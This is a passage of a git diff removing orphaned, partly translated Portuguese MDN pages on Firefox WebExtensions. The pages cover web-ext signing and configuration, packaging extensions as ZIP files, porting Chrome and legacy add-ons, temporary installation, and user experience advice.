-</ul>
-
-<p>See the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_sign">sign reference guide</a> to learn more.</p>
-
-<h3 id="Assinar_as_extensões_sem_uma_Id._explicita">Assinar as extensões sem uma Id. explicita</h3>
-
-<p><code>web-ext</code> supports signing extensions that do not declare the <a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications.gecko.id</a> property in their manifest. The first time you sign an extension without an explicit ID, <a href="https://addons.mozilla.org/">addons.mozilla.org</a> will generate an ID and <code>web-ext</code> will save it to <code>.web-extension-id</code> in the working directory. You should save the ID file so that you can sign future versions of the same extension. If you lose the ID file, you will have to add back the <code>applications.gecko.id</code> property or use the <code>--id</code> option when signing, for example:</p>
-
-<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --id="</code>{c23c69a7-f889-447c-9d6b-7694be8035bc}<code>"</code></pre>
-
-<h3 id="Assinar_num_ambiente_restringido">Assinar num ambiente restringido</h3>
-
-<p>If you're working in an environment that restricts access to certain domains, you can try using a proxy when signing:</p>
-
-<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --api-proxy=https://yourproxy:6000</code></pre>
-
-<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--api-proxy">--api-proxy</a> option to learn more.</p>
-
-<p>The following domains are used for signing and downloading files:</p>
-
-<ul>
- <li><code>addons.mozilla.org</code></li>
- <li><code>addons.cdn.mozilla.net</code></li>
-</ul>
-
-<h3 id="Verificar_com_o_código_lint">Verificar com o código "lint"</h3>
-
-<p>Before trying out your extension with the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run</a> command or submitting your package to <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>, use the <code>lint</code> command to make sure your <a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest</a> and other source files do not contain any errors. Example:</p>
-
-<pre class="brush: bash">web-ext lint</pre>
-
-<p>This uses the <a href="https://github.com/mozilla/addons-linter">addons-linter</a> library to walk through your source code directory and report any errors, such as the declaration of an unknown permission.</p>
-
-<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_lint">lint reference guide</a> to learn more.</p>
-
-<h3 id="Definindo_as_predefinições_de_opção_num_ficheiro_de_configuração">Definindo as predefinições de opção num ficheiro de configuração</h3>
-
-<p>You can specify <code>--config=my-config.js</code> to set default values for any option. Here is an example with the <code>build</code> command:</p>
-
-<pre class="brush: bash">web-ext --config=my-config.js build</pre>
-
-<p>The file should be a CommonJS module <a href="https://nodejs.org/docs/latest/api/modules.html#modules_modules">as understood by NodeJS</a> and must export each configuration value. Here is how you would set the default value of <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--verbose_-v">--verbose</a> to <code>true</code>:</p>
-
-<pre class="brush: javascript">module.exports = {
- verbose: true,
-};</pre>
-
-<p>If you want to specify options that only apply to a specific command, you nest the configuration under the command name. Here is an example of adding configuration for <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--overwrite-dest_-o">--overwrite-dest</a> that only applies to the <code>build</code> command as well as <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--firefox_-f">--firefox</a> that only applies to the <code>run</code> command:</p>
-
-<pre class="brush: javascript">module.exports = {
- // Global options:
- verbose: true,
- // Command options:
- build: {
- overwriteDest: true,
- },
- run: {
- firefox: 'nightly',
- },
-};</pre>
-
-<p>To create a configuration key for a command line option, you remove the preceding dashes and convert the name to camel case. As you can see from this example, <code>--overwrite-dest</code> was converted to <code>overwriteDest</code>.</p>
-
-<p>If an option can be specified multiple times on the command line then you define it as an array. For example, here is how to specify multiple <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--ignore-files_-i">--ignore-files</a> patterns:</p>
-
-<pre class="brush: javascript">module.exports = {
- ignoreFiles: [
- 'package-lock.json',
- 'yarn.lock',
- ],
-};</pre>
-
-<h3 id="Automatic_discovery_of_configuration_files">Automatic discovery of configuration files</h3>
-
-<p><code>web-ext</code> will load existing configuration files in the following order:</p>
-
-<ul>
- <li>A config file named <code>.web-ext-config.js</code> in your home directory, for example:
-
- <ul>
- <li>On Windows: <code>C:\Users\&lt;username&gt;\.web-ext-config.js</code></li>
- <li>On macOS: <code>/Users/&lt;username&gt;/.web-ext-config.js</code></li>
- <li>On Linux: <code>/home/&lt;username&gt;/.web-ext-config.js</code></li>
- </ul>
- </li>
- <li>A config file named <code>web-ext-config.js</code> in the current directory.</li>
-</ul>
-
-<p>If a home directory config and a local directory config define the same option, the value from the latter file will be used.</p>
-
-<p>To disable automatic loading of configuration files, set this option:</p>
-
-<pre class="brush: bash">web-ext --no-config-discovery run</pre>
-
-<p>To diagnose an issue related to config files, re-run your command with <code>--verbose</code>. This will tell you which config file affected which option value.</p>
-
-<h3 id="Specifying_different_source_and_destination_directories">Specifying different source and destination directories</h3>
-
-<p>The preceding commands use default directories for the extension source and artifact creation (for example, built <code>.zip</code> files). The defaults are:</p>
-
-<ul>
- <li>Source: The directory you are in.</li>
- <li>Artifacts: A directory called <code>./web-ext-artifacts</code>, created inside the current directory.</li>
-</ul>
-
-<p>You can specify different source and destination directories using the <code>--source-dir</code> and <code>--artifacts-dir</code> options when running your commands. Their values can be relative or absolute paths, but must always be specified as strings. Here is an example of specifying both options when building an extension:</p>
-
-<pre class="brush: bash"><code>web-ext build --source-dir=webextension-examples/notify-link-clicks-i18n --artifacts-dir=zips</code></pre>
-
-<h3 id="Outputting_verbose_messages">Outputting verbose messages</h3>
-
-<p>To see in detail what web-ext is doing when you run a command, include the <code>--verbose</code> option. For example:</p>
-
-<pre class="brush: bash"><code>web-ext build --verbose</code></pre>
-
-<h3 id="Viewing_all_commands_and_options">Viewing all commands and options</h3>
-
-<p>You can list all commands and options like this:</p>
-
-<pre class="brush: bash"><code>web-ext --help</code></pre>
-
-<p>You can list options for a specific command by adding it as an argument:</p>
-
-<pre class="brush: bash"><code>web-ext --help run</code></pre>
-
-<h3 id="Detecting_temporary_installation">Detecting temporary installation</h3>
-
-<p>Your extension can detect whether it was installed using <code>web-ext run</code>, rather than as a built and signed extension downloaded from <code>addons.mozilla.org</code>. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event and check the value of <code>details.temporary</code>.</p>
-
-<h3 id="Using_web-ext_from_a_script">Using web-ext from a script</h3>
-
-<p>You can use <code>web-ext</code> as a <code>NodeJS</code> module. Here is <a href="https://github.com/mozilla/web-ext#using-web-ext-in-nodejs-code">more information</a>, with example code.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a class="external external-icon" href="https://github.com/mozilla/web-ext">web-ext repo</a></li>
- <li>
- <p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></p>
- </li>
-</ul>
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html
deleted file mode 100644
index 79765663bf..0000000000
--- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: Publicar a sua extensão
-slug: orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_
-original_slug: Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao
----
-<div>{{AddonSidebar}}</div>
-
-<p> </p>
-
-<div class="pull-aside">
-<div class="moreinfo">
-<p>Packaged extensions in Firefox are called "XPI files", which are ZIP files with a different extension.</p>
-
-<p>You don't have to use the XPI extension when uploading to AMO.</p>
-</div>
-</div>
-
-<p> </p>
-
-<p>During development, your extension will consist of a directory containing a manifest.json file and the other files it needs—scripts, icons, HTML documents, and so on. You need to zip these into a single file for uploading to AMO.</p>
-
-<p>If you're using web-ext, use <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">web-ext build </a>to package your extension. Otherwise, follow the instructions below for your chosen operating system.</p>
-
-<div class="note">
-<p><strong>Dica</strong>: The ZIP file must be a ZIP of the extension's files themselves, not of the directory containing them.</p>
-</div>
-
-<h3 id="Windows">Windows</h3>
-
-<ol>
- <li>Abra a pasta com os seus ficheiros da extensão.</li>
- <li>Selecione todos os ficheiros.</li>
- <li>Clique direito e escolha "Enviar para" → Pasta Comprimida (zipped).</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11949/install-windows.png" style="display: block; height: 576px; margin-left: auto; margin-right: auto; width: 800px;"></p>
-
-<h3 id="Mac_OS_X">Mac OS X</h3>
-
-<ol>
- <li>Open the folder with your extension's files.</li>
- <li>Select all of the files.</li>
- <li>Right click and choose Compress <em>n</em> Items.</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11951/install-osx.png" style="display: block; height: 449px; margin-left: auto; margin-right: auto; width: 800px;"></p>
-
-<div class="pull-aside">
-<div class="moreinfo">See <a href="http://www.info-zip.org/mans/zip.html">http://www.info-zip.org/mans/zip.html</a>.</div>
-</div>
-
-<h3 id="Linux_Mac_OS_X_Terminal">Linux / Mac OS X Terminal</h3>
-
-<ol>
- <li>Open Terminal.</li>
- <li>Open the directory containing your extension's files,  using the command<br>
- <code>cd path/to/<em>my-extension</em>/</code></li>
- <li>ZIP the content of the directory, using the command<br>
- <code>zip -r -FS ../<em>my-extension</em>.zip *</code></li>
-</ol>
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html
deleted file mode 100644
index 80bb6bbe4f..0000000000
--- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Conversão de uma extensão do Google Chrome
-slug: orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension
-original_slug: Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome
----
-<div>{{AddonSidebar}}</div>
-
-<p>As extensões desenvolvidas com as APIs de Extensão da Web são preparadas para compatibilidade entre navegadores: em grande medida, a tecnologia é diretamente compatível com a <a class="external-icon external" href="https://developer.chrome.com/extensions">API de extensão</a> suportada pelo Google Chrome e Opera. As extensões escritas para estes navegadores irão, na maioria do casos, ser executadas no Firefox com apenas algumas alterações. Quase todas das  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API">APIs de extensão </a>são suportadas, utilizando as funções de chamada sob o espaço de nome  <code>chrome</code>, o mesmo que Chrome. As únicas APIs que não são suportadas no nome de espaço <code>chrome</code> são aquelas que são intentionalmente incompatíveis com o Chrome. Nesses casos, a página da documentação de API irá declarar explicitamente que só é suportado no espaço do nome <code>browser</code> . O processo de transferir uma extensão do Chrome para Opera é como isto:</p>
-
-<ol>
- <li>Reveja a sua utilização das funcionaldiades de manifest.json e APIs da Extensão da Web contra a <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">referência de incompatibilidade do Chrome</a>. Se estiver a utilizar as funcionalidades ou APIs que ainda não são suportadas no Firefox, poderá não conseguir converter ainda a sua extensão. A Mozilla fornece um serviço que pode ajudar a automatizar este passo: <a href="https://www.extensiontest.com">Teste de Compatibilidade de Extensão para Firefox</a> (inglês).</li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox">Instale a sua extensão no Firefox</a> e teste-a.</li>
- <li>Se tiver quaisquer problemas, contacte-nos em <a href="https://mail.mozilla.org/listinfo/dev-addons">lista de endereços</a> ou <a href="irc://irc.mozilla.org/webextensions">#webextensions</a> no <a class="external external-icon" href="https://wiki.mozilla.org/IRC">IRC</a>.</li>
- <li>Submeta o seu extra em <a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao">AMO para assinar e distribuir</a>. </li>
-</ol>
-
-<p>Se estava dependente da opção da linha de comando do Chrome para carregar uma extensão descompactada, consulte a ferramenta <a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext">web-ext</a> que automatiza a instalação temporária no Firefox para desenvolvimento.</p>
-
-<ul>
-</ul>
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html
deleted file mode 100644
index 9f07f71f19..0000000000
--- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html
+++ /dev/null
@@ -1,82 +0,0 @@
----
-title: Conversão de uma extensão legada do Firefox
-slug: orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on
-translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on
-original_slug: Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox
----
-<div>{{AddonSidebar}}</div>
-
-<p><span class="seoSummary">Se desenvolveu uma extensão do Firefox utilziando XUL/XPCOM ou SDK de EXtras, esta página irá ajudá-lo a migraar a sua extensão para utilizar as APIs das Extensões da Web. O padrão para criar extensões para o Firefox é para utilizar as </span>APIs das Extensões da Web. Este será a único tipo de extensão suportado no Firefox no fim de novembro de 2017, com o lançamento da versão 57 do <a class="external text" href="https://wiki.mozilla.org/RapidRelease/Calendar" rel="nofollow">Firefox</a>.</p>
-
-<h2 id="Início_rápido">Início rápido</h2>
-
-<ol>
- <li>Get an idea of the main things you'll have to change in your extension:
- <ul>
- <li>Familiarize yourself with the <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">WebExtension format and structure</a>, and <a href="/en-US/Add-ons/WebExtensions/Your_first_WebExtension">build a basic example</a>.</li>
- <li>If your extension is based on XUL and XPCOM, whether it's an <a href="https://developer.mozilla.org/en-US/Add-ons/Overlay_Extensions">overlay extension</a> or a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Bootstrapped_extensions">bootstrapped extension</a>, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a> to find out how WebExtensions can correspond with the legacy APIs you're using.</li>
- <li>If your extension is based on the Add-on SDK, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a> to find out how WebExtensions can correspond with the legacy SDK APIs you're using.</li>
- </ul>
- </li>
- <li>Rewrite your extension code. See below for migration paths for different types of extensions. From Firefox 51 onwards, you can embed an extension built using WebExtension APIs in a bootstrapped extension or an SDK add-on, and can thus port a legacy extension a piece at a time, and have a working extension at each step. See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a> for more information.</li>
- <li>When you're ready to submit the WebExtension version of your extension to AMO... wait a minute... are you truly ready? Because of the extensions permissions model, you cannot revert from WebExtensions back to using a legacy extension format. So test <em>thoroughly</em>, because this is a permanent one-way trip. Also, see the hybrid example below. If you're not ready, you can embed your WebExtension in a legacy extension container, which allows you to test your extension migration but still go back if needed in an emergency.</li>
- <li>When you're <em>really</em> ready to submit the WebExtension version of your extension to AMO, first port your old add-on ID to the new WebExtension manifest.json file. Your extension must have the same ID as previous versions. Copy the value in the "id" field from your package.json file into the id field in the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a> section of the WebExtension manifest.json file. Then you can submit your extension update to AMO as your normally would.</li>
-</ol>
-
-<div class="note">
-<p>Note that this is a one-way conversion: You <strong>cannot</strong> update an extension using WebExtensions to use a legacy technology. This means that you must be sure that you are ready to commit to using WebExtension APIs before you submit the updated add-on to AMO.</p>
-</div>
-
-<h2 id="Camnihos_de_migração">Camnihos de migração</h2>
-
-<h3 id="Extensões_SDK">Extensões SDK</h3>
-
-<p>Here is the comparison chart showing <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">SDK APIs and their WebExtensions format counterparts</a>. If you don't see the APIs you need to port to use WebExtensions APIs, look below to learn how to request APIs and also how to implement them.</p>
-
-<h3 id="Extensões_XULXPCOM">Extensões XUL/XPCOM</h3>
-
-<p>Here is the comparison chart showing <a href="/en-US/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">XUL/XPCOM APIs and their WebExtensions format counterparts</a>. If you don't see the APIs you need to port to use WebExtension APIs, look below to learn how to request APIs and also how to implement them.</p>
-
-<h3 id="Migração_parcial">Migração parcial</h3>
-
-<p>An <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtension</a> is an extension that combines two types of extensions in one, by incorporating a WebExtension inside of a bootstrapped or SDK extension. If you have a legacy extension that writes data to the filesystem, and you’re planning to port it to WebExtensions, <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a> are available to help you transition. Embedded WebExtensions can be used to transfer the stored data of your add-on to a format that can be used by WebExtensions. This is essential because it lets you to convert your users without the need for them to take any actions.</p>
-
-<p>It’s important to emphasize that Embedded WebExtensions are intended to be a transition tool, and will not be supported past Firefox 57. They should not be used for add-ons that are not expected to transition to WebExtensions.</p>
-
-<h2 id="Não_vê_as_APIs_das_Extensões_da_Web_que_precisa">Não vê as APIs das Extensões da Web que precisa?</h2>
-
-<p><strong>Develop WebExtension APIs for Firefox</strong> - If you're experienced with Mozilla infrastructure and would like to develop WebExtensions APIs directly for Firefox, here is a list of <a href="https://mzl.la/2dVs5Ys">approved APIs</a> that you can start contributing to.</p>
-
-<p><strong>Experiment with new WebExtension APIs</strong> - If you want to prototype and tinker with WebExtensions APIs without having to build Firefox, <a href="http://webextensions-experiments.readthedocs.io/en/latest/index.html">WebExtensions Experiments</a> is for you!</p>
-
-<p><strong>Request a new WebExtensions API</strong> - If you want to request a new WebExtensions API, please read <a class="external text" href="https://wiki.mozilla.org/WebExtensions/NewAPIs" rel="nofollow">this page</a>.</p>
-
-<h2 id="Ferramentas">Ferramentas</h2>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> is a command line tool designed to speed up various parts of the extension development process, making development faster and easier.</li>
- <li><a href="https://github.com/mi-g/weh">WebExtensions Helper</a> speeds up browser extension development by providing utilities for WebExtensions-based (Firefox, Chrome, Opera and Edge) extensions</li>
- <li><a href="https://github.com/yeoman/generator-chrome-extension">Chrome Extension generator </a>creates everything you need to get started with extension development. You can choose Browser UI(Browser,Page Action, Omnibox) type and select permissions you need.</li>
- <li><a href="http://extensionizr.com/">Extensionizr</a> is a wizard that helps you create a basic extension</li>
- <li><a href="https://github.com/mahemoff/chrome-boilerplate">Chrome Boilerplate</a> is boilerplate code for Chrome WebE<span class="col-11 mr-2 text-gray-dark">xtension.</span></li>
- <li><a href="https://github.com/sitepoint/ChromeSkel_a">Skeleton Chrome Extension</a> is an extension bootstrap and template</li>
-</ul>
-
-<h2 id="Documentação">Documentação</h2>
-
-<ul>
- <li><a href="https://wiki.mozilla.org/Add-ons/developer/communication">WebExtensions Project Page</a> on the Mozilla Wiki</li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">How-to guides</a> covering common extension developer cases, like <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">intercepting web requests</a> and <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">adding a button to the toolbar</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser compatibility table</a> for all WebExtensions APIs</li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples">Examples of extensions</a></li>
-</ul>
-
-<h2 id="Contactar">Contactar</h2>
-
-<ul>
- <li>
- <p>Pode utilizar as hiperligações <a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Add-ons#Contacte-nos">aqui</a> para obter ajuda, manter-se atualizado com as novidades sobre os extras, e dar-nos a sua opinião.</p>
- </li>
-</ul>
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html
deleted file mode 100644
index 3762abb721..0000000000
--- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Instalação temporária no Firefox
-slug: orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox
-original_slug: Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox
----
-<div>{{AddonSidebar}}</div>
-
-<p>Este artigo descreve como um programador de extra (add-on) pode instalar temporariamente uma extensão no Firefox para testes e depuração. A extensão permanecerá instalada até que reinicie o Firefox. Pode utilizar este método com qualquer tipo de extensão sem reinício, incluindo as <a href="/pt-PT/docs/Archive/Add-ons/Extensoes_bootstrapped">extensões bootstrapped</a> e <a href="/pt-PT/Add-ons/SDK">extras de Add-on SDK</a>.</p>
-
-<p>Note that this is <em>not</em> how end users should install add-ons in Firefox. End users will install add-ons by downloading and opening packaged add-ons that have been signed by Mozilla. To learn how an extension developer can get an add-on packaged and signed, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">Publishing your extension</a>.</p>
-
-<p>To install an extension temporarily:</p>
-
-<ul>
- <li>open Firefox</li>
- <li>enter "about:debugging" in the URL bar</li>
- <li>click "Load Temporary Add-on"</li>
- <li>open the extension's directory and select any file inside the extension.</li>
-</ul>
-
-<p>The extension will be installed, and will stay installed until you restart Firefox.</p>
-
-<p>{{EmbedYouTube("cer9EUKegG4")}}</p>
-
-<h2 id="Recarregar_uma_extensão_temporária">Recarregar uma extensão temporária</h2>
-
-<p>Starting in Firefox 48, there's a new button labeled "Reload" next to the extension's entry in about:debugging:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13462/reload.png" style="display: block; height: 544px; margin-left: auto; margin-right: auto; width: 848px;">This does what it says:</p>
-
-<ul>
- <li>reloading any persistent scripts, such as <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a></li>
- <li>parsing the <code>manifest.json</code> file again, so changes to <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> or any other keys will take effect.</li>
-</ul>
-
-<p>{{EmbedYouTube("NuajE60jfGY")}}</p>
-
-<div class="note">
-<p>Note that in Firefox 48 only, "Reload" does not update the extension's name and description that are displayed in about:debugging and about:addons. This is fixed in Firefox 49.</p>
-</div>
-
-<h2 id="Utilizar_a_linha_de_comando">Utilizar a linha de comando</h2>
-
-<p>If you are already using the command line for development, check out the <a href="/en-US/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> tool. It automates the temporary installation step and automatically reloads your extension when its source code changes.</p>
-
-<h2 id="Detetar_instalaçao_temporária">Detetar instalaçao temporária</h2>
-
-<p>Your extension can detect whether it was installed from about:debugging rather than as a built and signed extension downloaded from <a href="https://addons.mozilla.org">addons.mozilla.org</a>. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event, and check the value of <code>details.temporary</code>.</p>
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html
deleted file mode 100644
index c0a2e7eb1d..0000000000
--- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html
+++ /dev/null
@@ -1,160 +0,0 @@
----
-title: As melhores práticas de experiência do utilizador
-slug: orphaned/Mozilla/Add-ons/WebExtensions/User_experience_best_practices
-tags:
- - Extensões
- - Extras
- - Guía
- - IU
- - UX
-translation_of: Mozilla/Add-ons/WebExtensions/User_experience_best_practices
-original_slug: >-
- Mozilla/Add-ons/WebExtensions/As_melhores_praticas_de_experiencia_do_utilizador
----
-<div>{{AddonSidebar()}}</div>
-
-<p dir="ltr" id="docs-internal-guid-04f024b5-ab18-81ba-29b2-520d0891bcac">As melhores extensões do Firefox fornecem aos utilizadores uma nova funcionalidade ou recurso que corresponde a uma necessidade. Ao corresponder a essa necessidade irá ajudar os utilziadores a trabalhar de uma maneira mais inteligente ou eficiente, ou a obter mais prazer com a sua experiência de navegação.</p>
-
-<p dir="ltr">You will also want to make sure your users have a great experience using your extension and as a result give it great feedback and a good rating on <a href="https://addons.mozilla.org">addons.mozilla.org</a> (AMO).</p>
-
-<p dir="ltr">Much has been written about what makes software usable. If you are new to the subject, a good place to start is Jakob Nielsen’s <a href="https://en.wikipedia.org/wiki/Heuristic_evaluation#Nielsen">Usability Heuristics</a>. We recommend, whether you are new to extension development or a seasoned pro, using Nielsen’s Heuristics as a checklist when <a href="#Test_test_and_then_test_again">testing your user experience (UX)</a>.</p>
-
-<p dir="ltr">So, here we discuss much more specific Firefox and browser extension UX features, offering advice and suggestions that will help you build an extension that delights your users.</p>
-
-<h2 dir="ltr" id="Seja_Firefoxy">Seja <em>Firefoxy</em></h2>
-
-<p dir="ltr">Your users have chosen Firefox for a reason, possibly several reasons, so match your extension’s philosophy, features, and look and feel to that of Firefox.</p>
-
-<h3 dir="ltr" id="Design_values">Design values</h3>
-
-<p dir="ltr">To best meet the needs of Firefox users, align with the Firefox values.</p>
-
-<p dir="ltr">The <a href="https://design.firefox.com/values/">Firefox Design Values</a> state that we respect the user's privacy and sovereignty and do not surprise them. We start users with smart defaults on the functionality they want to use and enable them to customize those to their personal preferences so that they are in full control of their experience. We add humor and whimsy to our design and pay attention to details, quality, and performance. Local differences in a global world are important to us, and we help people make sense of the web in clear language.</p>
-
-<h3 dir="ltr" id="Apresentação_e_impressão">Apresentação e impressão</h3>
-
-<p dir="ltr">To provide your extensions with the best long term fit to Firefox, align with the <a href="http://design.firefox.com/photon">Firefox Photon Design System</a>. Following Photon will ensure that your extension integrates with the Firefox experience and will make it easier for people to use.</p>
-
-<h2 dir="ltr" id="Mantenha-a_focada">Mantenha-a focada</h2>
-
-<p dir="ltr">An extension is best when it is centered around one main use case, addressing that use case as well as possible for the target audience. It should add one function or set of closely related functions to the browser, modify a function of the browser, or modify web pages. Determine if you have achieved this by asking whether you can easily communicate the features and purpose of the extension in three (short) sentences or less.</p>
-
-<div class="note">
-<p dir="ltr">A short summary description of your extension is also very useful when it comes to creating its listing on AMO, see <a href="/en-US/Add-ons/Listing#Make_sure_your_summary_is_just_long_enough">Make sure your summary is just long enough</a> for more details.</p>
-</div>
-
-<h2 dir="ltr" id="Comece_agora_mesmo">Comece agora mesmo</h2>
-
-<p dir="ltr">Ensure that your extension is ready to be used immediately after installation. It should be optimized for its main use case, and work as expected for most users without the need for customization.</p>
-
-<p dir="ltr">Do not expect your users to read detailed instructions, other content, or ask them to configure the extension to use it. Doing so could mean they never get started with your extension and, if they do, could result in poor reviews.</p>
-
-<h2 dir="ltr" id="Dê_aos_utilizadores_o_que_eles_precisam_onde_eles_precisam">Dê aos utilizadores o que eles precisam, onde eles precisam</h2>
-
-<p dir="ltr">Choosing the right way or combination of ways to make your extension's functionality available to the user can have a significant effect on usability. Asking a few simple questions about your extension’s functionality can quickly guide you to the right choices:</p>
-
-<h3 dir="ltr" id="A_minha_extensão_funciona_na_maioria_dos_sites_da_Web_e_páginas_da_Web">A minha extensão funciona na maioria dos sites da Web e páginas da Web?</h3>
-
-<p dir="ltr">If your extension provides the user with features they can use on almost every website or page, give the user access to it from a <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Browser_action">toolbar button</a> using the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browser action</a>. This might include providing access to your image editor or opening a page from your website.</p>
-
-<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/12966/browser-action.png" style="display: block; height: 387px; margin-left: auto; margin-right: auto; width: 782px;"></p>
-
-<p dir="ltr">Where you have several features you want to give the user access, you can add a <a href="/en-US/Add-ons/WebExtensions/Popups">popup</a> to the button.</p>
-
-<h3 dir="ltr" id="A_minha_extensão_funciona_apenas_em_alguns_sites_da_Web_e_páginas">A minha extensão funciona apenas em alguns sites da Web e páginas?</h3>
-
